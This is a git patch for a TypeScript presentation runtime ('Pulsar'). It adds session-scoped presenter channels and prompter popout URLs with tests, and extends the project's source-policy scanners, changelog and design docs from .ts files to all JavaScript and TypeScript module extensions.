@@ const isolateOpenedWindow = (opened: Window | null): Window | null => { export const openPrompterWindow = ( baseUrl: string, features = DEFAULT_PROMPTER_WINDOW_FEATURES, + options: PrompterWindowOptions = {}, ): Window | null => { const win = globalThis.window; if (win === undefined) return null; - const url = buildPrompterUrl(baseUrl, win.location); + const presenterSessionId = options.presenterSessionId ?? getPresenterSessionId(); + if (!isPresenterSessionId(presenterSessionId)) return null; + + const url = buildPrompterUrl(baseUrl, win.location, presenterSessionId); if (url === null) return null; const opened = win.open(url, '_blank', withPopupIsolationFeatures(features)); diff --git a/tests/system/presenter-bridge.test.ts b/tests/system/presenter-bridge.test.ts index 7c23618..b103b5e 100644 --- a/tests/system/presenter-bridge.test.ts +++ b/tests/system/presenter-bridge.test.ts @@ -11,12 +11,17 @@ import { DEFAULT_PRESENTER_CHANNEL, combinePresenterSources, createPresenterBridge, + presenterChannelName, } from '../../src/system/presenter/bridge'; // BroadcastChannel delivers messages on a macrotask; wait one out. const flush = (): Promise => new Promise((resolve) => setTimeout(resolve, 10)); const advance: PresenterCommand = { kind: 'advance' }; +const importFreshBridge = async (): Promise => { + vi.resetModules(); + return import('../../src/system/presenter/bridge'); +}; describe('createPresenterBridge', () => { const bridges: { dispose(): void }[] = []; @@ -27,12 +32,53 @@ describe('createPresenterBridge', () => { afterEach(() => { for (const b of bridges) b.dispose(); bridges.length = 0; + vi.unstubAllGlobals(); }); it('exposes the default channel name', () => { expect(DEFAULT_PRESENTER_CHANNEL).toBe('pulsar-presenter'); }); + it('derives scoped channel names from the presenter session id', () => { + expect(presenterChannelName('session-a-123456')).toBe('pulsar-presenter:session-a-123456'); + }); + + it('rejects invalid presenter session ids before deriving channel names', () => { + expect(() => presenterChannelName('short')).toThrow( + 'presenter session id must be 8-128 URL-safe characters', + ); + }); + + it('generates one ephemeral session id when no URL scope exists', async () => { + vi.stubGlobal('crypto', { randomUUID: () => 'generated-session-123456' }); + const { getPresenterSessionId } = await importFreshBridge(); + expect(getPresenterSessionId({ href: 'https://pulsar.test/?composition=demo' })).toBe( + 'generated-session-123456', + ); + expect(getPresenterSessionId({ href: 'https://pulsar.test/?composition=other' })).toBe( + 'generated-session-123456', + ); + }); + + it('falls back to a generated session id when the bootstrap URL is unreadable', async () => { + vi.stubGlobal('crypto', { randomUUID: () => 'generated-session-abcdef' }); + const { getPresenterSessionId } = await importFreshBridge(); + const location = { + get href(): string { + throw new Error('bad href'); + }, + }; + expect(getPresenterSessionId(location)).toBe('generated-session-abcdef'); + }); + + it('reports missing secure random support when no URL scope exists', async () => { + vi.stubGlobal('crypto', {}); + const { getPresenterSessionId } = await importFreshBridge(); + expect(() => getPresenterSessionId({ href: 'https://pulsar.test/?composition=demo' })).toThrow( + 'secure random presenter session id source is unavailable', + ); + }); + it('delivers a command sent from one window to another', async () => { const channelName = `pulsar-test-${Math.random()}`; const sender = track(createPresenterBridge({ channelName })); @@ -44,6 +90,33 @@ describe('createPresenterBridge', () => { expect(received).toEqual([advance]); }); + it('delivers commands within a session scope but not across different scopes', async () => { + const inSessionSender = track(createPresenterBridge({ sessionId: 'session-a-123456' })); + const inSessionReceiver = track(createPresenterBridge({ sessionId: 'session-a-123456' })); + const otherSessionReceiver = track(createPresenterBridge({ sessionId: 'session-b-123456' })); + const inSessionReceived: PresenterCommand[] = []; + const otherSessionReceived: PresenterCommand[] = []; + inSessionReceiver.source.subscribe((cmd) => inSessionReceived.push(cmd)); + otherSessionReceiver.source.subscribe((cmd) => otherSessionReceived.push(cmd)); + inSessionSender.send(advance); + await flush(); + expect(inSessionReceived).toEqual([advance]); + expect(otherSessionReceived).toEqual([]); + }); + + it('keeps presenter-command validation on scoped channels', async () => { + const sessionId = 'session-a-123456'; + const scopedChannel = presenterChannelName(sessionId); + const receiver = track(createPresenterBridge({ sessionId })); + const received: PresenterCommand[] = []; + receiver.source.subscribe((cmd) => received.push(cmd)); + new BroadcastChannel(scopedChannel).postMessage({ kind: 'not-a-command' }); + new BroadcastChannel(scopedChannel).postMessage({ sessionId, command: advance }); + new BroadcastChannel(scopedChannel).postMessage(advance); + await flush(); + expect(received).toEqual([advance]); + }); + it('does not echo a command back to the sending window', async () => { const channelName = `pulsar-test-${Math.random()}`; const sender = track(createPresenterBridge({ channelName })); diff --git a/tests/system/prompter-window-url.test.ts b/tests/system/prompter-window-url.test.ts index 2d03646..bbd2221 100644 --- a/tests/system/prompter-window-url.test.ts +++ b/tests/system/prompter-window-url.test.ts @@ -1,14 +1,24 @@ // Pulsar L2 — openPrompterWindow URL builder + window.open dispatch. import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { openPrompterWindow } from '../../src/system/presenter'; +import { PRESENTER_SESSION_QUERY_PARAM, openPrompterWindow } from '../../src/system/presenter'; describe('openPrompterWindow', () => { const realOpen = globalThis.window?.open ?? null; const originalWindow = globalThis.window; + const presenterSessionId = 'session-a-123456'; let opened: Array<{ url: string; target: string; features: string }> = []; let openedWindow: Window & { opener: unknown }; + const openScopedPrompterWindow = (baseUrl: string, features?: string): Window | null => + openPrompterWindow(baseUrl, features, { presenterSessionId }); + + const expectPrompterUrl = (expected: string): void => { + const url = new URL(opened[0]?.url ?? ''); + expect(url.searchParams.get(PRESENTER_SESSION_QUERY_PARAM)).toBe(presenterSessionId); + expect(url.href).toBe(expected); + }; + beforeEach(() => { opened = []; openedWindow = { closed: false, opener: { source: 'presenter' } } as Window & { @@ -18,7 +28,9 @@ describe('openPrompterWindow', () => { // attach one minimally for this test. Object.defineProperty(globalThis, 'window', { value: { - location: new URL('https://pulsar.test/workbench/current?composition=current'), + location: new URL( + 'https://pulsar.test/workbench/current?composition=current&pulsar-presenter-session=opener-session-123456', + ), open: (url: string, target: string, features: string) => { opened.push({ url, target, features }); return openedWindow; @@ -41,62 +53,104 @@ describe('openPrompterWindow', () => { }); it('replaces an existing mode= param', () => { - openPrompterWindow('/?composition=demo&mode=present'); - expect(opened[0]?.url).toBe('https://pulsar.test/?composition=demo&mode=prompter'); + openScopedPrompterWindow('/?composition=demo&mode=present'); + expectPrompterUrl( + 'https://pulsar.test/?composition=demo&mode=prompter&pulsar-presenter-session=session-a-123456', + ); }); - it('appends mode=prompter to a URL with other params', () => { + it('uses the current workbench presenter session scope by default', () => { openPrompterWindow('/?composition=demo'); - expect(opened[0]?.url).toBe('https://pulsar.test/?composition=demo&mode=prompter'); + const url = new URL(opened[0]?.url ?? ''); + expect(url.searchParams.get(PRESENTER_SESSION_QUERY_PARAM)).toBe('opener-session-123456'); + expect(url.href).toBe( + 'https://pulsar.test/?composition=demo&mode=prompter&pulsar-presenter-session=opener-session-123456', + ); + }); + + it('appends mode=prompter to a URL with other params', () => { + openScopedPrompterWindow('/?composition=demo'); + expectPrompterUrl( + 'https://pulsar.test/?composition=demo&mode=prompter&pulsar-presenter-session=session-a-123456', + ); }); it('uses ?mode=prompter for a URL with no query', () => { - openPrompterWindow('/'); - expect(opened[0]?.url).toBe('https://pulsar.test/?mode=prompter'); + openScopedPrompterWindow('/'); + expectPrompterUrl( + 'https://pulsar.test/?mode=prompter&pulsar-presenter-session=session-a-123456', + ); }); it('does not rewrite query values containing mode=', () => { - openPrompterWindow('/?composition=demo¬e=has-mode=inside'); - expect(opened[0]?.url).toBe( - 'https://pulsar.test/?composition=demo¬e=has-mode%3Dinside&mode=prompter', + openScopedPrompterWindow('/?composition=demo¬e=has-mode=inside'); + expectPrompterUrl( + 'https://pulsar.test/?composition=demo¬e=has-mode%3Dinside&mode=prompter&pulsar-presenter-session=session-a-123456', ); }); it('preserves hashes after the prompter mode query parameter', () => { - openPrompterWindow('/deck?composition=demo#speaker-notes'); - expect(opened[0]?.url).toBe( - 'https://pulsar.test/deck?composition=demo&mode=prompter#speaker-notes', + openScopedPrompterWindow('/deck?composition=demo#speaker-notes'); + expectPrompterUrl( + 'https://pulsar.test/deck?composition=demo&mode=prompter&pulsar-presenter-session=session-a-123456#speaker-notes', ); }); it('resolves relative URLs against the current window location', () => { - openPrompterWindow('./notes?scene=intro'); - expect(opened[0]?.url).toBe('https://pulsar.test/workbench/notes?scene=intro&mode=prompter'); + openScopedPrompterWindow('./notes?scene=intro'); + expectPrompterUrl( + 'https://pulsar.test/workbench/notes?scene=intro&mode=prompter&pulsar-presenter-session=session-a-123456', + ); }); it('accepts absolute same-origin URLs', () => { - openPrompterWindow('https://pulsar.test/presenter?composition=demo&mode=loop#notes'); - expect(opened[0]?.url).toBe( - 'https://pulsar.test/presenter?composition=demo&mode=prompter#notes', + openScopedPrompterWindow('https://pulsar.test/presenter?composition=demo&mode=loop#notes'); + expectPrompterUrl( + 'https://pulsar.test/presenter?composition=demo&mode=prompter&pulsar-presenter-session=session-a-123456#notes', + ); + }); + + it('overwrites stale presenter session scope in the popout URL', () => { + openScopedPrompterWindow('/?composition=demo&pulsar-presenter-session=session-stale-123456'); + expectPrompterUrl( + 'https://pulsar.test/?composition=demo&pulsar-presenter-session=session-a-123456&mode=prompter', ); }); it('does not open cross-origin URLs', () => { - const result = openPrompterWindow('https://external.example/?composition=demo'); + const result = openScopedPrompterWindow('https://external.example/?composition=demo'); + expect(result).toBeNull(); + expect(opened).toEqual([]); + }); + + it('does not open malformed URLs', () => { + const result = openScopedPrompterWindow('http://[bad'); expect(result).toBeNull(); expect(opened).toEqual([]); }); it('forwards custom features arg', () => { - openPrompterWindow('/', 'width=400'); + openScopedPrompterWindow('/', 'width=400'); const features = opened[0]?.features.split(',').map((feature) => feature.trim()); expect(features).toEqual(expect.arrayContaining(['width=400', 'noopener', 'noreferrer'])); }); it('isolates the opened window from the opener', () => { - const result = openPrompterWindow('/'); + const result = openScopedPrompterWindow('/'); expect(result).toBe(openedWindow); expect(opened[0]?.target).toBe('_blank'); expect(openedWindow.opener).toBeNull(); }); + + it('still returns the opened window when opener mutation is blocked', () => { + Object.defineProperty(openedWindow, 'opener', { + configurable: true, + get: () => ({ source: 'presenter' }), + set: () => { + throw new Error('blocked opener mutation'); + }, + }); + const result = openScopedPrompterWindow('/'); + expect(result).toBe(openedWindow); + }); }); From 89dbd38b75adbcd9a0bc72ca7b0e33f3dd82f154 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 24 May 2026 07:25:52 +0200 Subject: [PATCH 06/29] Expand source policy extension coverage --- changelog.d/152.fixed.md | 1 + changelog.d/46.added.md | 8 +- ...imeline-library-encapsulation-preflight.md | 4 +- .../pul-a002-a006-import-bans-preflight.md | 16 ++-- ...ul-q003-url-state-determinism-preflight.md | 4 +- ...l-q007-runtime-code-execution-preflight.md | 4 +- ...ul-q008-dom-css-accessibility-preflight.md | 4 +- docs/scene-trust-model.md | 2 +- tests/runtime/navigation.test.ts | 2 +- ...policy-a001-timeline-encapsulation.test.ts | 16 ++-- .../policy-a002-audio-encapsulation.test.ts | 14 +-- .../policy-a003-rendering-libraries.test.ts | 8 +- .../policy-a004-export-pipeline.test.ts | 4 +- ...olicy-a005-declarative-composition.test.ts | 14 +-- .../policy-a006-slide-frameworks.test.ts | 4 +- .../runtime/policy-a008-mode-dispatch.test.ts | 18 ++-- ...policy-a009-captions-single-source.test.ts | 22 ++--- .../policy-a010-export-metadata-share.test.ts | 18 ++-- .../policy-biome-complexity-gate.test.ts | 4 +- .../policy-q003-url-state-determinism.test.ts | 12 +-- .../policy-q004-resource-cleanup.test.ts | 91 ++++++++++++------- .../policy-q007-remote-code-execution.test.ts | 77 +++++++++++++--- .../policy-q008-dom-css-accessibility.test.ts | 26 +++--- tests/runtime/source-policy.ts | 67 +++++++++++--- 24 files changed, 279 insertions(+), 161 deletions(-) create mode 100644 changelog.d/152.fixed.md diff --git a/changelog.d/152.fixed.md b/changelog.d/152.fixed.md new file mode 100644 index 0000000..2a20891 --- /dev/null +++ b/changelog.d/152.fixed.md @@ -0,0 +1 @@ +Source-policy gates now scan JavaScript and TypeScript module source extensions under `src/`, so bundled `.js`, `.jsx`, `.mjs`, `.cjs`, `.tsx`, `.mts`, and `.cts` files no longer bypass the shared policy scanner. diff --git a/changelog.d/46.added.md b/changelog.d/46.added.md index b80d000..a58469e 100644 --- a/changelog.d/46.added.md +++ b/changelog.d/46.added.md @@ -4,17 +4,17 @@ authored source tree on every `pnpm test` / CI run and fails the build on any violation: - PUL-Q007: no `eval`, `new Function`, `Function(...)` calls, or dynamic `import()` of remote URLs / non-static specifiers in - `src/**/*.ts`. - - PUL-A001: no direct `gsap` imports from `src/scenes/**/*.ts`. + source modules under `src/`. + - PUL-A001: no direct `gsap` imports from source modules under `src/scenes/`. - PUL-A002: no direct `howler` imports and no `new HTMLAudioElement()` / `new Audio()` constructions in - `src/scenes/**/*.ts`. + source modules under `src/scenes/`. - PUL-A003: no PixiJS / Three.js / Phaser imports in the runtime-core file set. - PUL-A004: no Remotion or video-rendering-library imports in the runtime-core file set. - PUL-A005: every `CompositionManifest`-typed export under - `src/compositions/**/*.ts` is a static array literal of + source modules under `src/compositions/` is a static array literal of string-literal scene ids; top-level imperative-dispatch shapes are forbidden. - PUL-A006: no reveal.js / Spectacle imports in the runtime-core diff --git a/docs/design/pul-a001-timeline-library-encapsulation-preflight.md b/docs/design/pul-a001-timeline-library-encapsulation-preflight.md index 560de0a..512a144 100644 --- a/docs/design/pul-a001-timeline-library-encapsulation-preflight.md +++ b/docs/design/pul-a001-timeline-library-encapsulation-preflight.md @@ -14,7 +14,7 @@ runtime validator, loader hook, or bundle audit. ## Boundary -- Scan authored scene source under `src/scenes/**/*.ts` for direct +- Scan authored scene source modules under `src/scenes/` for direct imports or dynamic imports of `gsap` and GSAP subpaths. - Treat `src/runtime/timeline.ts` as the canonical GSAP boundary. It may import `gsap`, exposes `createTimelineEngine()`, validates returned @@ -76,7 +76,7 @@ Implementation must build on these incumbents: The seam is a parameterized forbidden-import policy table in the shared source scanner. A001 contributes a rule shaped like: -- scope: `src/scenes/**/*.ts`; +- scope: source modules under `src/scenes/`; - forbidden module specifiers: `gsap` and `gsap/*`; - allowed production boundary: `src/runtime/timeline.ts`; - exemption tag: `PUL-A001-allow`. diff --git a/docs/design/pul-a002-a006-import-bans-preflight.md b/docs/design/pul-a002-a006-import-bans-preflight.md index db31819..35c49d6 100644 --- a/docs/design/pul-a002-a006-import-bans-preflight.md +++ b/docs/design/pul-a002-a006-import-bans-preflight.md @@ -23,14 +23,14 @@ The PUL-A001 preflight authorises this inheritance explicitly: | Req | Scope (file set) | Forbidden specifiers | Allowed boundary | Exemption tag | |-----|------------------|----------------------|------------------|---------------| -| PUL-A002 | `src/scenes/**/*.ts` | `howler`, `howler/*` (+ `new Audio()` / `new HTMLAudioElement()` value-position) | `src/runtime/audio.ts` (out of scope) | `PUL-A002-allow` | -| PUL-A003 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `pixi.js`, `pixi.js/*`, `three`, `three/*`, `phaser`, `phaser/*` | scene-local imports under `src/scenes/**` | `PUL-A003-allow` | -| PUL-A004 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `remotion`, `remotion/*`, `@remotion/*` | export pipeline (separate codebase, ADR-006) | `PUL-A004-allow` | -| PUL-A005 | `src/compositions/**/*.ts` | (special: declarative-manifest shape; see below) | n/a | `PUL-A005-allow` | -| PUL-A006 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `reveal.js`, `reveal.js/*`, `spectacle`, `spectacle/*`, `@spectacle/*` | companion projects (separate, ADR-001) | `PUL-A006-allow` | +| PUL-A002 | source modules under `src/scenes/` | `howler`, `howler/*` (+ `new Audio()` / `new HTMLAudioElement()` value-position) | `src/runtime/audio.ts` (out of scope) | `PUL-A002-allow` | +| PUL-A003 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `pixi.js`, `pixi.js/*`, `three`, `three/*`, `phaser`, `phaser/*` | scene-local imports under `src/scenes/**` | `PUL-A003-allow` | +| PUL-A004 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `remotion`, `remotion/*`, `@remotion/*` | export pipeline (separate codebase, ADR-006) | `PUL-A004-allow` | +| PUL-A005 | source modules under `src/compositions/` | (special: declarative-manifest shape; see below) | n/a | `PUL-A005-allow` | +| PUL-A006 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `reveal.js`, `reveal.js/*`, `spectacle`, `spectacle/*`, `@spectacle/*` | companion projects (separate, ADR-001) | `PUL-A006-allow` | The "runtime-core file set" is computed at scan time as -`walkTsFiles(SRC_ROOT)` filtered to exclude `src/scenes/`. This makes +`walkSourceFiles(SRC_ROOT)` filtered to exclude `src/scenes/`. This makes the scope self-extending: a new top-level runtime module (e.g., `src/feature-flags.ts`) is picked up automatically. @@ -39,7 +39,7 @@ the scope self-extending: a new top-level runtime module (e.g., Each test file MUST build on these incumbents (defined in `tests/runtime/source-policy.ts`): -- `walkTsFiles(root, excludes?)` — the file walker. +- `walkSourceFiles(root, excludes?)` — the file walker. - `parseSource(text, file)` — TypeScript `SourceFile` factory with parent pointers populated. - `collectLineExemptions(sourceFile, allowTag)` — line-scoped @@ -73,7 +73,7 @@ Each policy MUST: PUL-A005 is not an import ban; it is a structural-shape requirement on every exported `CompositionManifest`-typed binding under -`src/compositions/**/*.ts`. The detection rule is two-phase: +source modules under `src/compositions/`. The detection rule is two-phase: 1. **Top-level statement shape.** A composition module's top-level statements MUST be import declarations, export declarations, type diff --git a/docs/design/pul-q003-url-state-determinism-preflight.md b/docs/design/pul-q003-url-state-determinism-preflight.md index 8dd8f42..9e7b2d3 100644 --- a/docs/design/pul-q003-url-state-determinism-preflight.md +++ b/docs/design/pul-q003-url-state-determinism-preflight.md @@ -27,7 +27,7 @@ workflow layer. `effectiveMode(target)` for each navigation and builds fresh per-navigation context. - Source-policy enforcement belongs in a Vitest static policy over - authored `src/**/*.ts`, using `tests/runtime/source-policy.ts` and + authored source modules under `src/`, using `tests/runtime/source-policy.ts` and the screenshot-determinism source scan precedent. Do not add a browser runtime validator for persisted-state targeting. @@ -76,7 +76,7 @@ Implementation must build on these incumbents: | Mode dispatch | Mode is derived with `effectiveMode(target)` for each navigation. Omitted `mode` selects fresh `present`; it must not reuse a previous mode from memory or storage. | | Scene context | `ctx.mode` is a derived hint from the current target only. Scenes may branch on `ctx.mode`; they must not parse query strings or read storage/cookies/history to determine target or mode. | | Runtime validation | `validateRuntime()` stays graph-shape validation. Q003 enforcement is source-policy plus existing URL/parser/loader tests, not scene metadata validation. | -| Source policy gate | Add or extend a Vitest policy scan over `src/**/*.ts`. Reuse `source-policy.ts`; do not create regex-only scans or duplicate walkers. Any exemption must be line-scoped and reasoned, e.g. `PUL-Q003-allow: `, and must not apply to target selection. | +| Source policy gate | Add or extend a Vitest policy scan across source modules under `src/`. Reuse `source-policy.ts`; do not create regex-only scans or duplicate walkers. Any exemption must be line-scoped and reasoned, e.g. `PUL-Q003-allow: `, and must not apply to target selection. | | Auth, secrets, and env binding | Target selection needs no auth, secrets, env vars, `.env`, or host config. `process.env`, `import.meta.env`, and `process.argv` must not determine scene, beat, composition, or mode. | | OS/process exposure | Do not pass target state, secret-bearing URLs, cookies, or env-derived values through shell argv. Tests should run in-process under Vitest and report relative path, line, label, and trimmed line text only. | | Error envelope | Navigation failures use existing `navigation grammar is invalid:`, `scene navigation failed:`, `composition resolution failed:`, and `data-pulsar-navigation-error` surfaces. Diagnostics may name ids, modes, indexes, and bounded messages; never dump cookies, headers, env, argv, raw scene objects, or full credential-bearing URLs. | diff --git a/docs/design/pul-q007-runtime-code-execution-preflight.md b/docs/design/pul-q007-runtime-code-execution-preflight.md index dde7de3..083040f 100644 --- a/docs/design/pul-q007-runtime-code-execution-preflight.md +++ b/docs/design/pul-q007-runtime-code-execution-preflight.md @@ -4,8 +4,8 @@ Date: 2026-05-12 PUL-Q007 is a runtime-source security policy: published runtime code must not execute code that is not already present in the bundle. The -right enforcement is a Vitest static-policy suite over `src/**/*.ts`, -using the TypeScript AST scanner precedent from +right enforcement is a Vitest static-policy suite that scans source +modules under `src/`, using the TypeScript AST scanner precedent from `tests/runtime/screenshot-determinism-source.test.ts` and the CI-gate precedent from `tests/runtime/workbench-graph.test.ts`. diff --git a/docs/design/pul-q008-dom-css-accessibility-preflight.md b/docs/design/pul-q008-dom-css-accessibility-preflight.md index 656e43a..2044d0f 100644 --- a/docs/design/pul-q008-dom-css-accessibility-preflight.md +++ b/docs/design/pul-q008-dom-css-accessibility-preflight.md @@ -37,10 +37,10 @@ Implementation must build on these incumbents: `ctx.stage.ownerDocument.createElement(...)`, scene-local `appendChild`, and lifecycle cleanup through `cleanup(ctx)`. - Existing DOM bypass policy: PUL-Q004's source scan over - `src/scenes/**/*.ts`, especially the bans on ambient `document` + source modules under `src/scenes/`, especially the bans on ambient `document` attachment roots, global listeners, observers, and DOM prototype monkey-patches. -- Source-policy helpers: `walkTsFiles`, `parseSource`, +- Source-policy helpers: `walkSourceFiles`, `parseSource`, `collectLineExemptions`, `lineText`, access-path helpers, and bounded `{ file, line, text, label }` diagnostics from `tests/runtime/source-policy.ts`. diff --git a/docs/scene-trust-model.md b/docs/scene-trust-model.md index 62fcda5..cea190f 100644 --- a/docs/scene-trust-model.md +++ b/docs/scene-trust-model.md @@ -138,7 +138,7 @@ one. [`tests/runtime/policy-q007-remote-code-execution.test.ts`](../tests/runtime/policy-q007-remote-code-execution.test.ts) bans `eval`, `new Function(...)`, `Function(...)`, and dynamic `import(specifier)` whose specifier is a remote URL or non-static - expression in authored runtime source (`src/**/*.ts`). It catches + expression in authored runtime source (source modules under `src/`). It catches attempts to execute code that is not present in the published bundle. It does not transform a bundled scene module into untrusted-safe code, and it does not restrict what bundled scene diff --git a/tests/runtime/navigation.test.ts b/tests/runtime/navigation.test.ts index cfffe3b..6c96b7e 100644 --- a/tests/runtime/navigation.test.ts +++ b/tests/runtime/navigation.test.ts @@ -856,7 +856,7 @@ describe('PUL-Q003 — persisted browser state never determines the target', () // navigation event matches `parseNavigationSearch(location.search)` // exactly and that `effectiveMode(...)` ignores the seeded state. // - // The structural ban on these surfaces in `src/**/*.ts` is enforced + // The structural ban on these surfaces in source modules under `src/` is enforced // separately by `policy-q003-url-state-determinism.test.ts`. This // block adds black-box coverage: if a future refactor of // `subscribeNavigation` / `bootstrapNavigation` / `effectiveMode` diff --git a/tests/runtime/policy-a001-timeline-encapsulation.test.ts b/tests/runtime/policy-a001-timeline-encapsulation.test.ts index 5dc113b..f85e4d5 100644 --- a/tests/runtime/policy-a001-timeline-encapsulation.test.ts +++ b/tests/runtime/policy-a001-timeline-encapsulation.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A001 — Timeline library encapsulation. @@ -19,7 +19,7 @@ import { // directly. Scene timelines SHALL be constructed via the timeline // utilities exposed on the scene context." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts` that +// Enforcement: a Vitest source scan across source modules under `src/scenes/` that // flags every import — static (`import ... from 'gsap'`), dynamic // (`import('gsap')`), and type-only (`import type ... from 'gsap'`) — // of the `gsap` package and its subpaths. The runtime adapter at @@ -186,13 +186,13 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A001 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A001 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -209,7 +209,7 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { }); it('runtime adapter `src/runtime/timeline.ts` is exempt by scope (the boundary)', () => { - // The scope is `src/scenes/**/*.ts`, so the adapter never enters + // The scope is source modules under `src/scenes/`, so the adapter never enters // the scan — it would never be flagged even though it imports // `gsap`. This test pins that property explicitly so a future // change to the scope cannot silently drag the adapter in. @@ -217,7 +217,7 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { expect(statSync(adapter).isFile()).toBe(true); const text = readFileSync(adapter, 'utf-8'); expect(text).toMatch(/from\s+['"]gsap['"]/); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(adapter); }); }); diff --git a/tests/runtime/policy-a002-audio-encapsulation.test.ts b/tests/runtime/policy-a002-audio-encapsulation.test.ts index cfe4025..2466302 100644 --- a/tests/runtime/policy-a002-audio-encapsulation.test.ts +++ b/tests/runtime/policy-a002-audio-encapsulation.test.ts @@ -16,7 +16,7 @@ import { parseSource, pathResolvesTo, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A002 — Audio library encapsulation. @@ -27,7 +27,7 @@ import { // where a scene drops down to raw Web Audio with a documented // justification and registers cleanup with the runtime." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts` with +// Enforcement: a Vitest source scan across source modules under `src/scenes/` with // two checks: // // 1. Direct imports of `howler` (or any `howler/*` subpath) are @@ -371,13 +371,13 @@ describe('PUL-A002 — audio library encapsulation (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A002 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A002 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -401,7 +401,7 @@ describe('PUL-A002 — audio library encapsulation (source scan)', () => { expect(statSync(adapter).isFile()).toBe(true); const text = readFileSync(adapter, 'utf-8'); expect(text).toMatch(/from\s+['"]howler['"]/); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(adapter); }); }); diff --git a/tests/runtime/policy-a003-rendering-libraries.test.ts b/tests/runtime/policy-a003-rendering-libraries.test.ts index fc65a69..c685e1b 100644 --- a/tests/runtime/policy-a003-rendering-libraries.test.ts +++ b/tests/runtime/policy-a003-rendering-libraries.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A003 — Optional rendering libraries are scene-local. @@ -21,7 +21,7 @@ import { // Enforcement: a Vitest source scan over the runtime-core file set // (everything under `src/` EXCEPT `src/scenes/**`) that flags any // import of `pixi.js`, `three`, or `phaser` (each with subpath -// wildcards). Scene files under `src/scenes/**/*.ts` may adopt these +// wildcards). Scene source modules under `src/scenes/` may adopt these // libraries locally; they are out of scope by construction. // // The runtime-core boundary covers `src/runtime/**`, `src/compositions/**`, @@ -39,13 +39,13 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); /** - * Runtime-core file set: every `.ts` under `src/` that is NOT under + * Runtime-core file set: every source module under `src/` that is NOT under * `src/scenes/`. Computed at scan time so any future top-level file * under `src/` (e.g., a new `src/feature-flags.ts`) is automatically * included without editing the test. */ function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA003(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a004-export-pipeline.test.ts b/tests/runtime/policy-a004-export-pipeline.test.ts index bc90728..b8feba5 100644 --- a/tests/runtime/policy-a004-export-pipeline.test.ts +++ b/tests/runtime/policy-a004-export-pipeline.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A004 — Live runtime is independent of the export pipeline. @@ -37,7 +37,7 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA004(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a005-declarative-composition.test.ts b/tests/runtime/policy-a005-declarative-composition.test.ts index 44996cf..da91212 100644 --- a/tests/runtime/policy-a005-declarative-composition.test.ts +++ b/tests/runtime/policy-a005-declarative-composition.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A005 — Composition is declarative. @@ -20,7 +20,7 @@ import { // (e.g., `if/else` branching or position-based dispatch in a control // script) as the source of truth for composition order." // -// Enforcement: a Vitest source scan over `src/compositions/**/*.ts` +// Enforcement: a Vitest source scan across source modules under `src/compositions/` // with two checks: // // 1. Every exported `const X: CompositionManifest = ` must @@ -147,7 +147,7 @@ function scanForA005(source: string, file: string): readonly SourceFinding[] { // A composition module's default export is implicitly the // composition manifest. Without a type assertion there's no // declared annotation to read, but the file is still under - // 